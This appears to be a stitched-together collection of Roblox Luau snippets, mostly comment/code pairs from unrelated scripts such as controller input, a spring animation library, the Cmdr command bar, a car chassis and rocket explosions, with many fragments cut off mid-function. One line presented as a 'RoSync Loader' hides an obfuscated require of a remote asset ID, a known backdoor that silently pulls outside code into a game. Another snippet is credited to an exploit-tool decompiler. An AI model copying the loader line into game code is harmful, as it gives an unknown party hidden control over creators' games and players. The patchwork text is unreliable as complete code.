for _, m in ipairs(script:GetChildren()) do
if m.ClassName == "ModuleScript" then
--- Add it!
Functions[m.Name] = require(m)
end
end
|
---Controller |
local Controller=false
local UserInputService = game:GetService("UserInputService")
local LStickX = 0
local RStickX = 0
local RStickY = 0
local RTriggerValue = 0
local LTriggerValue = 0
local ButtonX = 0
local ButtonY = 0
local ButtonL1 = 0
local ButtonR1 = 0
local ButtonR3 = 0
local DPadUp = 0
function DealWithInput(input,IsRobloxFunction)
if Controller then
if input.KeyCode ==Enum.KeyCode.ButtonX then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonX=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonX=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonY then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonY=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonY=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonL1 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonL1=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonL1=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonR1 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonR1=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonR1=0
end
elseif input.KeyCode ==Enum.KeyCode.DPadUp then
if input.UserInputState == Enum.UserInputState.Begin then
DPadUp=1
elseif input.UserInputState == Enum.UserInputState.End then
DPadUp=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonR3 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonR3=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonR3=0
end
end
if input.UserInputType.Name:find("Gamepad") then --it's one of 4 gamepads
if input.KeyCode == Enum.KeyCode.Thumbstick1 then
LStickX = input.Position.X
elseif input.KeyCode == Enum.KeyCode.Thumbstick2 then
RStickX = input.Position.X
RStickY = input.Position.Y
elseif input.KeyCode == Enum.KeyCode.ButtonR2 then--right shoulder
RTriggerValue = input.Position.Z
elseif input.KeyCode == Enum.KeyCode.ButtonL2 then--left shoulder
LTriggerValue = input.Position.Z
end
end
end
end
UserInputService.InputBegan:connect(DealWithInput)
UserInputService.InputChanged:connect(DealWithInput)--keyboards don't activate with Changed, only Begin and Ended. idk if digital controller buttons do too
UserInputService.InputEnded:connect(DealWithInput) |
-- transforms Roblox types into intermediate types, converting
-- between spaces as necessary to preserve perceptual linearity |
local typeMetadata = {
number = {
springType = LinearSpring.new,
toIntermediate = function(value)
return {value}
end,
fromIntermediate = function(value)
return value[1]
end,
},
NumberRange = {
springType = LinearSpring.new,
toIntermediate = function(value)
return {value.Min, value.Max}
end,
fromIntermediate = function(value)
return NumberRange.new(value[1], value[2])
end,
},
UDim = {
springType = LinearSpring.new,
toIntermediate = function(value)
return {value.Scale, value.Offset}
end,
fromIntermediate = function(value)
return UDim.new(value[1], value[2])
end,
},
UDim2 = {
springType = LinearSpring.new,
toIntermediate = function(value)
local x = value.X
local y = value.Y
return {x.Scale, x.Offset, y.Scale, y.Offset}
end,
fromIntermediate = function(value)
return UDim2.new(value[1], value[2], value[3], value[4])
end,
},
Vector2 = {
springType = LinearSpring.new,
toIntermediate = function(value)
return {value.X, value.Y}
end,
fromIntermediate = function(value)
return Vector2.new(value[1], value[2])
end,
},
Vector3 = {
springType = LinearSpring.new,
toIntermediate = function(value)
return {value.X, value.Y, value.Z}
end,
fromIntermediate = function(value)
return Vector3.new(value[1], value[2], value[3])
end,
},
Color3 = {
springType = LinearSpring.new,
toIntermediate = function(value)
-- convert RGB to a variant of cieluv space
local r, g, b = value.R, value.G, value.B
-- D65 sRGB inverse gamma correction
r = r < 0.0404482362771076 and r/12.92 or 0.87941546140213*(r + 0.055)^2.4
g = g < 0.0404482362771076 and g/12.92 or 0.87941546140213*(g + 0.055)^2.4
b = b < 0.0404482362771076 and b/12.92 or 0.87941546140213*(b + 0.055)^2.4
-- sRGB -> xyz
local x = 0.9257063972951867*r - 0.8333736323779866*g - 0.09209820666085898*b
local y = 0.2125862307855956*r + 0.71517030370341085*g + 0.0722004986433362*b
local z = 3.6590806972265883*r + 11.4426895800574232*g + 4.1149915024264843*b
-- xyz -> modified cieluv
local l = y > 0.008856451679035631 and 116*y^(1/3) - 16 or 903.296296296296*y
local u, v
if z > 1e-14 then
u = l*x/z
v = l*(9*y/z - 0.46832)
else
u = -0.19783*l
v = -0.46832*l
end
return {l, u, v}
end,
fromIntermediate = function(value)
-- convert back from modified cieluv to rgb space
local l = value[1]
if l < 0.0197955 then
return Color3.new(0, 0, 0)
end
local u = value[2]/l + 0.19783
local v = value[3]/l + 0.46832
-- cieluv -> xyz
local y = (l + 16)/116
y = y > 0.206896551724137931 and y*y*y or 0.12841854934601665*y - 0.01771290335807126
local x = y*u/v
local z = y*((3 - 0.75*u)/v - 5)
-- xyz -> D65 sRGB
local r = 7.2914074*x - 1.5372080*y - 0.4986286*z
local g = -2.1800940*x + 1.8757561*y + 0.0415175*z
local b = 0.1253477*x - 0.2040211*y + 1.0569959*z
-- clamp minimum sRGB component
if r < 0 and r < g and r < b then
r, g, b = 0, g - r, b - r
elseif g < 0 and g < b then
r, g, b = r - g, 0, b - g
elseif b < 0 then
r, g, b = r - b, g - b, 0
end
-- gamma correction from D65
-- clamp to avoid undesirable overflow wrapping behavior on certain properties (e.g. BasePart.Color)
return Color3.new(
min(r < 3.1306684425e-3 and 12.92*r or 1.055*r^(1/2.4) - 0.055, 1),
min(g < 3.1306684425e-3 and 12.92*g or 1.055*g^(1/2.4) - 0.055, 1),
min(b < 3.1306684425e-3 and 12.92*b or 1.055*b^(1/2.4) - 0.055, 1)
)
end,
},
}
local springStates = {} -- {[instance] = {[property] = spring}
RunService.Heartbeat:Connect(function(dt)
debug.profilebegin("spr heartbeat")
for instance, state in pairs(springStates) do
for propName, spring in pairs(state) do
if spring:canSleep() then
state[propName] = nil
instance[propName] = spring.rawTarget
else
instance[propName] = spring:step(dt)
end
end
if not next(state) then
springStates[instance] = nil
end
end
debug.profileend()
end)
local function assertType(argNum, fnName, expectedType, value)
if not STRICT_TYPES then
return
end
if not expectedType:find(typeof(value)) then
error(
("bad argument #%d to %s (%s expected, got %s)"):format(
argNum,
fnName,
expectedType,
typeof(value)
),
3
)
end
end
local spr = {}
function spr.target(instance, dampingRatio, frequency, properties)
assertType(1, "spr.target", "Instance", instance)
assertType(2, "spr.target", "number", dampingRatio)
assertType(3, "spr.target", "number", frequency)
assertType(4, "spr.target", "table", properties)
if dampingRatio ~= dampingRatio or dampingRatio < 0 then
error(("expected damping ratio >= 0; got %.2f"):format(dampingRatio), 2)
end
if frequency ~= frequency or frequency < 0 then
error(("expected undamped frequency >= 0; got %.2f"):format(frequency), 2)
end
local state = springStates[instance]
if not state then
state = {}
springStates[instance] = state
end
for propName, propTarget in pairs(properties) do
local propValue = instance[propName]
if STRICT_TYPES and typeof(propTarget) ~= typeof(propValue) then
error(
("bad property %s to spr.target (%s expected, got %s)"):format(
propName,
typeof(propValue),
typeof(propTarget)
),
2
)
end
local spring = state[propName]
if not spring then
local md = typeMetadata[typeof(propTarget)]
if not md then
error("unsupported type: " .. typeof(propTarget), 2)
end
spring = md.springType(dampingRatio, frequency, propValue, md, propTarget)
state[propName] = spring
end
spring.d = dampingRatio
spring.f = frequency
spring:setGoal(propTarget)
end
end
function spr.stop(instance, property)
assertType(1, "spr.stop", "Instance", instance)
assertType(2, "spr.stop", "string|nil", property)
if property then
local state = springStates[instance]
if state then
state[property] = nil
end
else
springStates[instance] = nil
end
end
if STRICT_API_ACCESS then
return tableLock(spr)
else
return spr
end
|
--- Handles user input when the box is focused |
function Window:BeginInput(input, gameProcessed)
if GuiService.MenuIsOpen then
self:Hide()
end
if gameProcessed and self:IsVisible() == false then
return
end
if self.Cmdr.ActivationKeys[input.KeyCode] then -- Activate the command bar
if self.Cmdr.MashToEnable and not self.Cmdr.Enabled then
if tick() - lastPressTime < 1 then
if pressCount >= 5 then
return self.Cmdr:SetEnabled(true)
else
pressCount = pressCount + 1
end
else
pressCount = 1
end
lastPressTime = tick()
elseif self.Cmdr.Enabled then
self:SetVisible(not self:IsVisible())
wait()
self:SetEntryText("")
if GuiService.MenuIsOpen then -- Special case for menu getting stuck open (roblox bug)
self:Hide()
end
end
return
end
if self.Cmdr.Enabled == false or not self:IsVisible() then
if self:IsVisible() then
self:Hide()
end
return
end
if self.Cmdr.HideOnLostFocus and table.find(MOUSE_TOUCH_ENUM, input.UserInputType) then
local ps = input.Position
local ap = Gui.AbsolutePosition
local as = Gui.AbsoluteSize
if ps.X < ap.X or ps.X > ap.X + as.X or ps.Y < ap.Y or ps.Y > ap.Y + as.Y then
self:Hide()
end
elseif input.KeyCode == Enum.KeyCode.Down then -- Auto Complete Down
self:SelectVertical(1)
elseif input.KeyCode == Enum.KeyCode.Up then -- Auto Complete Up
self:SelectVertical(-1)
elseif input.KeyCode == Enum.KeyCode.Return then -- Eat new lines
wait()
self:SetEntryText(self:GetEntryText():gsub("\n", ""):gsub("\r", ""))
elseif input.KeyCode == Enum.KeyCode.Tab then -- Auto complete
local item = self.AutoComplete:GetSelectedItem()
local text = self:GetEntryText()
if item and not (text:sub(#text, #text):match("%s") and self.AutoComplete.LastItem) then
local replace = item[2]
local newText
local insertSpace = true
local command = self.AutoComplete.Command
if command then
local lastArg = self.AutoComplete.Arg
newText = command.Alias
insertSpace = self.AutoComplete.NumArgs ~= #command.ArgumentDefinitions
and self.AutoComplete.IsPartial == false
local args = command.Arguments
for i = 1, #args do
local arg = args[i]
local segments = arg.RawSegments
if arg == lastArg then
segments[#segments] = replace
end
local argText = arg.Prefix .. table.concat(segments, ",")
-- Put auto completion options in quotation marks if they have a space
if argText:find(" ") or argText == "" then
argText = ("%q"):format(argText)
end
newText = ("%s %s"):format(newText, argText)
if arg == lastArg then
break
end
end
else
newText = replace
end
-- need to wait a frame so we can eat the \t
wait()
-- Update the text box
self:SetEntryText(newText .. (insertSpace and " " or ""))
else
-- Still need to eat the \t even if there is no auto-complete to show
wait()
self:SetEntryText(self:GetEntryText())
end
else
self:ClearHistoryState()
end
end
|
--[=[
@private
@class ScriptInfoUtils
]=] |
local CollectionService = game:GetService("CollectionService")
local loader = script.Parent
local Utils = require(script.Parent.Utils)
local BounceTemplateUtils = require(script.Parent.BounceTemplateUtils)
local ScriptInfoUtils = {}
ScriptInfoUtils.DEPENDENCY_FOLDER_NAME = "node_modules";
ScriptInfoUtils.ModuleReplicationTypes = Utils.readonly({
CLIENT = "client";
SERVER = "server";
SHARED = "shared";
IGNORE = "ignore";
PLUGIN = "plugin";
})
function ScriptInfoUtils.createScriptInfo(instance, name, replicationMode)
assert(typeof(instance) == "Instance", "Bad instance")
assert(type(name) == "string", "Bad name")
assert(type(replicationMode) == "string", "Bad replicationMode")
return Utils.readonly({
name = name;
replicationMode = replicationMode;
instance = instance;
})
end
function ScriptInfoUtils.createScriptInfoLookup()
-- Server/client also contain shared entries
return Utils.readonly({
[ScriptInfoUtils.ModuleReplicationTypes.SERVER] = {}; -- [string name] = scriptInfo
[ScriptInfoUtils.ModuleReplicationTypes.CLIENT] = {};
[ScriptInfoUtils.ModuleReplicationTypes.SHARED] = {};
[ScriptInfoUtils.ModuleReplicationTypes.PLUGIN] = {};
})
end
function ScriptInfoUtils.getScriptInfoLookupForMode(scriptInfoLookup, replicationMode)
assert(type(scriptInfoLookup) == "table", "Bad scriptInfoLookup")
assert(type(replicationMode) == "string", "Bad replicationMode")
return scriptInfoLookup[replicationMode]
end
function ScriptInfoUtils.populateScriptInfoLookup(instance, scriptInfoLookup, lastReplicationMode)
assert(typeof(instance) == "Instance", "Bad instance")
assert(type(scriptInfoLookup) == "table", "Bad scriptInfoLookup")
assert(type(lastReplicationMode) == "string", "Bad lastReplicationMode")
if instance:IsA("Folder") or instance:IsA("Camera") then
local replicationMode = ScriptInfoUtils.getFolderReplicationMode(instance.Name, lastReplicationMode)
if replicationMode ~= ScriptInfoUtils.ModuleReplicationTypes.IGNORE then
for _, item in pairs(instance:GetChildren()) do
if not BounceTemplateUtils.isBounceTemplate(item) then
if item:IsA("Folder") or item:IsA("Camera") then
ScriptInfoUtils.populateScriptInfoLookup(item, scriptInfoLookup, replicationMode)
elseif item:IsA("ModuleScript") then
ScriptInfoUtils.addToInfoMap(scriptInfoLookup,
ScriptInfoUtils.createScriptInfo(item, item.Name, replicationMode))
end
end
end
end
elseif instance:IsA("ModuleScript") then
if not BounceTemplateUtils.isBounceTemplate(instance) then
if instance == loader then
-- STRICT hack to support this module script as "loader" over "Nevermore" in replicated scenario
ScriptInfoUtils.addToInfoMap(scriptInfoLookup,
ScriptInfoUtils.createScriptInfo(instance, "loader", lastReplicationMode))
else
ScriptInfoUtils.addToInfoMap(scriptInfoLookup,
ScriptInfoUtils.createScriptInfo(instance, instance.Name, lastReplicationMode))
end
end
elseif instance:IsA("ObjectValue") then
error("ObjectValue links are not supported at this time for retrieving inline module scripts")
end
end
local AVAILABLE_IN_SHARED = {
["HoldingBindersServer"] = true;
["HoldingBindersClient"] = true;
["IKService"] = true;
["IKServiceClient"] = true;
}
function ScriptInfoUtils.isAvailableInShared(scriptInfo)
if CollectionService:HasTag(scriptInfo.instance, "LinkToShared") then
return true
end
-- Hack because we can't tag things in Rojo yet
return AVAILABLE_IN_SHARED[scriptInfo.name]
end
function ScriptInfoUtils.addToInfoMap(scriptInfoLookup, scriptInfo)
assert(type(scriptInfoLookup) == "table", "Bad scriptInfoLookup")
assert(type(scriptInfo) == "table", "Bad scriptInfo")
local replicationMode = assert(scriptInfo.replicationMode, "Bad replicationMode")
local replicationMap = assert(scriptInfoLookup[replicationMode], "Bad replicationMode")
ScriptInfoUtils.addToInfoMapForMode(replicationMap, scriptInfo)
if replicationMode == ScriptInfoUtils.ModuleReplicationTypes.SHARED then
ScriptInfoUtils.addToInfoMapForMode(
scriptInfoLookup[ScriptInfoUtils.ModuleReplicationTypes.SERVER], scriptInfo)
ScriptInfoUtils.addToInfoMapForMode(
scriptInfoLookup[ScriptInfoUtils.ModuleReplicationTypes.CLIENT], scriptInfo)
elseif ScriptInfoUtils.isAvailableInShared(scriptInfo) then
ScriptInfoUtils.addToInfoMapForMode(
scriptInfoLookup[ScriptInfoUtils.ModuleReplicationTypes.SHARED], scriptInfo)
end
end
function ScriptInfoUtils.addToInfoMapForMode(replicationMap, scriptInfo)
if replicationMap[scriptInfo.name] then
warn(("Duplicate module %q in same package under same replication scope. Only using first one. \n- %q\n- %q")
:format(scriptInfo.name,
scriptInfo.instance:GetFullName(),
replicationMap[scriptInfo.name].instance:GetFullName()))
return
end
replicationMap[scriptInfo.name] = scriptInfo
end
function ScriptInfoUtils.getFolderReplicationMode(folderName, lastReplicationMode)
assert(type(folderName) == "string", "Bad folderName")
assert(type(lastReplicationMode) == "string", "Bad lastReplicationMode")
--Plugin always replicates further
if folderName == ScriptInfoUtils.DEPENDENCY_FOLDER_NAME then
return ScriptInfoUtils.ModuleReplicationTypes.IGNORE
elseif lastReplicationMode == ScriptInfoUtils.ModuleReplicationTypes.PLUGIN then
return lastReplicationMode
elseif folderName == "Shared" then
return ScriptInfoUtils.ModuleReplicationTypes.SHARED
elseif folderName == "Client" then
return ScriptInfoUtils.ModuleReplicationTypes.CLIENT
elseif folderName == "Server" then
return ScriptInfoUtils.ModuleReplicationTypes.SERVER
else
return lastReplicationMode
end
end
return ScriptInfoUtils
|
-- Updated January 19, 2017 for use in plane system | |
--[[ By: Brutez. ]] | --
local JeffTheKillerScript=script;
repeat Wait(0)until JeffTheKillerScript and JeffTheKillerScript.Parent and JeffTheKillerScript.Parent.ClassName=="Model"and JeffTheKillerScript.Parent:FindFirstChild("Head")and JeffTheKillerScript.Parent:FindFirstChild("Torso");
local JeffTheKiller=JeffTheKillerScript.Parent;
function raycast(Spos,vec,currentdist)
local hit2,pos2=game.Workspace:FindPartOnRay(Ray.new(Spos+(vec*.05),vec*currentdist),JeffTheKiller);
if hit2~=nil and pos2 then
if hit2.Name=="Handle" and not hit2.CanCollide or string.sub(hit2.Name,1,6)=="Effect"and not hit2.CanCollide then
local currentdist=currentdist-(pos2-Spos).magnitude;
return raycast(pos2,vec,currentdist);
end;
end;
return hit2,pos2;
end;
function RayCast(Position,Direction,MaxDistance,IgnoreList)
return Game:GetService("Workspace"):FindPartOnRayWithIgnoreList(Ray.new(Position,Direction.unit*(MaxDistance or 999.999)),IgnoreList);
end; |
---[[ Chat Text Size Settings ]] |
module.ChatWindowTextSize = 18
module.ChatChannelsTabTextSize = 18
module.ChatBarTextSize = 18
module.ChatWindowTextSizePhone = 14
module.ChatChannelsTabTextSizePhone = 18
module.ChatBarTextSizePhone = 14
|
--// All global vars will be wiped/replaced except script |
return function(data, env)
if env then
setfenv(1, env)
end
local playergui = service.PlayerGui
local localplayer = service.Player
local toggle = script.Parent.Parent.Toggle
if client.Core.Get("Chat") then
toggle.Position = UDim2.new(1, -(45+40),1, -45)
end
toggle.MouseButton1Down:Connect(function()
local found = client.Core.Get("UserPanel",nil,true)
if found then
found.Object:Destroy()
else
client.Core.Make("UserPanel",{})
end
end)
script.Parent.Parent.Parent = playergui
end
|
------------------------- |
mouse.KeyDown:connect(function (key)
key = string.lower(key)
if key == "q" then
if script.Parent.Gear.Value < 0 then
script.Parent.Gear.Value = -1
else
script.Parent.CC.Value = false
script.Parent.Gear.Value = script.Parent.Gear.Value -1
carSeat.Shift:Play()
end
end
if key == "e" then
if script.Parent.Gear.Value > 0 then
script.Parent.Gear.Value = 1
else
script.Parent.Gear.Value = script.Parent.Gear.Value +1
carSeat.Shift:Play()
end
end
if key == "l" and light == false then
light = true
carSeat.Parent.LeftHL.SpotLight.Enabled = true
carSeat.Parent.RightHL.SpotLight.Enabled = true
carSeat.Parent.BrL.SpotLight.Enabled = true
carSeat.Parent.Router.Material = "Neon"
carSeat.Parent.Louter.Material = "Neon"
elseif key == "l" and light == true then
light = false
carSeat.Parent.LeftHL.SpotLight.Enabled = false
carSeat.Parent.RightHL.SpotLight.Enabled = false
carSeat.Parent.BrL.SpotLight.Enabled = false
carSeat.Parent.Router.Material = "SmoothPlastic"
carSeat.Parent.Louter.Material = "SmoothPlastic"
end
if carSeat.Velocity.Magnitude > 35 and key == "c" and cc.Value == false and script.Parent.Gear.Value == 1 then
cc.Value = true
rr.MaxSpeed = carSeat.Velocity.Magnitude
rl.MaxSpeed = carSeat.Velocity.Magnitude
fr.MaxSpeed = carSeat.Velocity.Magnitude
fl.MaxSpeed = carSeat.Velocity.Magnitude
rr.Throttle = 1
rl.Throttle = 1
fl.Throttle = 1
fr.Throttle = 1
rr.Torque = script.Parent.RTQ.Value
rl.Torque = script.Parent.RTQ.Value
fl.Torque = script.Parent.FTQ.Value
fr.Torque = script.Parent.FTQ.Value
elseif key == "c" and cc.Value == true then
cc.Value = false
rr.Throttle = 0
rl.Throttle = 0
fl.Throttle = 0
fr.Throttle = 0
end
if key == "a" then
a = true |
-- Decompiled with the Synapse X Luau decompiler. |
local l__RunService__1 = game:GetService("RunService");
local l__StarterGui__2 = game:GetService("StarterGui");
local l__LocalPlayer__3 = game:GetService("Players").LocalPlayer;
local l__Shared__4 = script:WaitForChild("Shared");
local v5 = require(l__Shared__4:WaitForChild("Util"));
if l__RunService__1:IsClient() == false then
error("Server scripts cannot require the client library. Please require the server library to use Cmdr in your own code.");
end;
local v6 = setmetatable({
ReplicatedRoot = script,
RemoteFunction = script:WaitForChild("CmdrFunction"),
RemoteEvent = script:WaitForChild("CmdrEvent"),
ActivationKeys = {
[Enum.KeyCode.F2] = true
},
Enabled = true,
MashToEnable = false,
ActivationUnlocksMouse = false,
HideOnLostFocus = true,
PlaceName = "Cmdr",
Util = v5,
Events = {}
}, {
__index = function(p1, p2)
local v7 = p1.Dispatcher[p2];
if not v7 or type(v7) ~= "function" then
return;
end;
return function(p3, ...)
return v7(p1.Dispatcher, ...);
end;
end
});
v6.Registry = require(l__Shared__4.Registry)(v6);
v6.Dispatcher = require(l__Shared__4.Dispatcher)(v6);
if l__StarterGui__2:WaitForChild("Cmdr") and wait() and l__LocalPlayer__3:WaitForChild("PlayerGui"):FindFirstChild("Cmdr") == nil then
l__StarterGui__2.Cmdr:Clone().Parent = l__LocalPlayer__3.PlayerGui;
end;
function v6.SetActivationKeys(p4, p5)
p4.ActivationKeys = v5.MakeDictionary(p5);
end;
local u1 = require(script.CmdrInterface)(v6);
function v6.SetPlaceName(p6, p7)
p6.PlaceName = p7;
u1.Window:UpdateLabel();
end;
function v6.SetEnabled(p8, p9)
p8.Enabled = p9;
end;
function v6.SetActivationUnlocksMouse(p10, p11)
p10.ActivationUnlocksMouse = p11;
end;
function v6.Show(p12)
if not p12.Enabled then
return;
end;
u1.Window:Show();
end;
function v6.Hide(p13)
u1.Window:Hide();
end;
function v6.Toggle(p14)
if not p14.Enabled then
return p14:Hide();
end;
u1.Window:SetVisible(not u1.Window:IsVisible());
end;
function v6.SetMashToEnable(p15, p16)
p15.MashToEnable = p16;
if p16 then
p15:SetEnabled(false);
end;
end;
function v6.SetHideOnLostFocus(p17, p18)
p17.HideOnLostFocus = p18;
end;
function v6.HandleEvent(p19, p20, p21)
p19.Events[p20] = p21;
end;
if l__RunService__1:IsServer() == false then
v6.Registry:RegisterTypesIn(script:WaitForChild("Types"));
v6.Registry:RegisterCommandsIn(script:WaitForChild("Commands"));
end;
v6.RemoteEvent.OnClientEvent:Connect(function(p22, ...)
if v6.Events[p22] then
v6.Events[p22](...);
end;
end);
require(script.DefaultEventHandlers)(v6);
return v6;
|
--Claims Apartment |
rentprompt.TriggerEnded:Connect(function(Player)
local claim = Player.Name
if owner.Value == "" then
owner.Value = claim
script.Parent.Rent.Enabled = false
script.Parent.OpenClose.Enabled = true
end
end) |
-- ROBLOX upstream: https://github.com/facebook/jest/tree/v27.4.7/packages/jest-util/src/deepCyclicCopy.ts | |
-- initialize to idle |
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
|
-- Device check |
local IS_CONSOLE = GuiService:IsTenFootInterface()
local IS_MOBILE = UserInputService.TouchEnabled and not UserInputService.MouseEnabled and not IS_CONSOLE
|
-- Customized explosive effect that doesn't affect teammates and only breaks joints on dead parts |
local TaggedHumanoids = {}
local function OnExplosionHit(hitPart, hitDistance, blastCenter)
if hitPart and hitDistance then
local character, humanoid = FindCharacterAncestor(hitPart.Parent)
if character then
local myPlayer = CreatorTag.Value
if myPlayer and not myPlayer.Neutral then -- Ignore friendlies caught in the blast
local player = PlayersService:GetPlayerFromCharacter(character)
if player and player ~= myPlayer and player.TeamColor == Rocket.BrickColor then
return
end
end
end
if humanoid and humanoid.Health > 0 then -- Humanoids are tagged and damaged
if not IsInTable(TaggedHumanoids,humanoid) then
print("Tagged")
table.insert(TaggedHumanoids,humanoid)
ApplyTags(humanoid)
humanoid:TakeDamage(BLAST_DAMAGE)
end
else -- Loose parts and dead parts are blasted
if hitPart.Name ~= 'Handle' then
local effect = script.Effects.Effect:Clone()
local smoke = script.Effects.Smoke:Clone()
local smoke2 = script.Effects.Smoke2:Clone()
local fire = Instance.new("Fire")
fire.Heat = 10000
fire.Size = 100
if IGNITE_PARTS == true then
fire.Parent = hitPart
end
if SPECIAL_EFFECTS == true then
effect.Enabled = true
smoke2.Enabled = true
smoke.Enabled = true
effect.Parent = hitPart
smoke2.Parent = hitPart
smoke.Parent = hitPart
end
if UNANCHOR_PARTS == true then
hitPart.Anchored = false
end
if BREAK_JOINTS == true then
hitPart:BreakJoints()
end
local blastForce = Instance.new('BodyForce', hitPart) --NOTE: We will multiply by mass so bigger parts get blasted more
blastForce.Force = (hitPart.Position - blastCenter).unit * BLAST_FORCE * hitPart:GetMass()
DebrisService:AddItem(blastForce, 0.1)
wait(0.1)
effect.Enabled = false
smoke2.Enabled = false
wait(2)
effect:Destroy()
smoke2:Destroy()
smoke.Enabled = false
end
end
end
end
local function OnTouched(otherPart)
if Rocket and otherPart then
-- Fly through anything in the ignore list
if IGNORE_LIST[string.lower(otherPart.Name)] then
return
end
local myPlayer = CreatorTag.Value
if myPlayer then
-- Fly through the creator
if myPlayer.Character and myPlayer.Character:IsAncestorOf(otherPart) then
return
end
-- Fly through friendlies
if not myPlayer.Neutral then
local character = FindCharacterAncestor(otherPart.Parent)
local player = PlayersService:GetPlayerFromCharacter(character)
if player and player ~= myPlayer and player.TeamColor == Rocket.BrickColor then
return
end
end
end
-- Fly through terrain water
if otherPart == workspace.Terrain then
--NOTE: If the rocket is large, then the simplifications made here will cause it to fly through terrain in some cases
local frontOfRocket = Rocket.Position + (Rocket.CFrame.lookVector * (Rocket.Size.Z / 2))
local cellLocation = workspace.Terrain:WorldToCellPreferSolid(frontOfRocket)
local cellMaterial = workspace.Terrain:GetCell(cellLocation.X, cellLocation.Y, cellLocation.Z)
if cellMaterial == Enum.CellMaterial.Water or cellMaterial == Enum.CellMaterial.Empty then
return
end
end
-- Create the explosion
local explosion = Instance.new('Explosion')
explosion.BlastPressure = 0 -- Completely safe explosion
explosion.BlastRadius = BLAST_RADIUS
explosion.ExplosionType = Enum.ExplosionType.NoCraters
explosion.Position = Rocket.Position
explosion.Parent = workspace
-- Connect custom logic for the explosion
explosion.Hit:Connect(function(hitPart, hitDistance) OnExplosionHit(hitPart, hitDistance, explosion.Position) end)
-- Move this script and the creator tag (so our custom logic can execute), then destroy the rocket
script.Parent = explosion
CreatorTag.Parent = script
Rocket:Destroy()
end
end
|
-- print("Keyframe : ".. frameName) |
local repeatAnim = stopToolAnimations()
playToolAnimation(repeatAnim, 0.0, Humanoid)
end
end
function playToolAnimation(animName, transitionTime, humanoid)
if (animName ~= toolAnimName) then
if (toolAnimTrack ~= nil) then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
transitionTime = 0
end
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while roll > animTable[animName][idx].weight do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end |
--[[Weight and CG]] |
Tune.Weight = 3000 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3.5 ,
--[[Length]] 14 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
--[[Weld functions]] |
local JS = game:GetService("JointsService")
local PGS_ON = workspace:PGSIsEnabled()
function MakeWeld(x,y,type,s)
if type==nil then type="Weld" end
local W=Instance.new(type,JS)
W.Part0=x W.Part1=y
W.C0=x.CFrame:inverse()*x.CFrame
W.C1=y.CFrame:inverse()*x.CFrame
if type=="Motor" and s~=nil then
W.MaxVelocity=s
end
return W
end
function ModelWeld(a,b)
if a:IsA("BasePart") then
MakeWeld(b,a,"Weld")
elseif a:IsA("Model") then
for i,v in pairs(a:GetChildren()) do
ModelWeld(v,b)
end
end
end
function UnAnchor(a)
if a:IsA("BasePart") then a.Anchored=false end for i,v in pairs(a:GetChildren()) do UnAnchor(v) end
end
|
--[[ Last synced 11/17/2020 05:01 RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
|
--s.Pitch = 0.7 |
s2.Volume=0
s.Volume=1
while true do |
--[=[
@within TableUtil
@function Copy
@param tbl table -- Table to copy
@param deep boolean? -- Whether or not to perform a deep copy
@return table
Creates a copy of the given table. By default, a shallow copy is
performed. For deep copies, a second boolean argument must be
passed to the function.
:::caution No cyclical references
Deep copies are _not_ protected against cyclical references. Passing
a table with cyclical references _and_ the `deep` parameter set to
`true` will result in a stack-overflow.
]=] |
local function Copy<T>(t: T, deep: boolean?): T
if not deep then
return (table.clone(t :: any) :: any) :: T
end
local function DeepCopy(tbl: { any })
local tCopy = table.clone(tbl)
for k, v in tCopy do
if type(v) == "table" then
tCopy[k] = DeepCopy(v)
end
end
return tCopy
end
return DeepCopy(t :: any) :: T
end
|
-- ====================
-- EXPLOSIVE
-- Make a bullet explosive so user can deal a damage to multiple enemy in single shot. NOTE: Explosion won't break joints
-- ==================== |
ExplosiveEnabled = false;
Radius = 8;
|
--[[
Client-side manager that listens to the FTUE stage in a player's data to show hints to the player
about what to do in the current stage and handle client-side effects
--]] |
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local PlayerDataClient = require(ReplicatedStorage.Source.PlayerData.Client)
local FtueStage = require(ReplicatedStorage.Source.SharedConstants.FtueStage)
local InFarmFtueStage = require(script.StageHandlers.InFarmFtueStage)
local SellingPlantFtueStage = require(script.StageHandlers.SellingPlantFtueStage)
local PurchasingSeedFtueStage = require(script.StageHandlers.PurchasingSeedFtueStage)
local PurchasingPotFtueStage = require(script.StageHandlers.PurchasingPotFtueStage)
local ReturningToFarmFtueStage = require(script.StageHandlers.ReturningToFarmFtueStage)
local PlayerDataKey = require(ReplicatedStorage.Source.SharedConstants.PlayerDataKey)
type Stage = any -- TODO: Is there a way to specify a generic stage type containing setup and teardown?
local handlerByStage: { [string]: Stage } = {
[FtueStage.InFarm] = InFarmFtueStage,
[FtueStage.SellingPlant] = SellingPlantFtueStage,
[FtueStage.PurchasingSeed] = PurchasingSeedFtueStage,
[FtueStage.PurchasingPot] = PurchasingPotFtueStage,
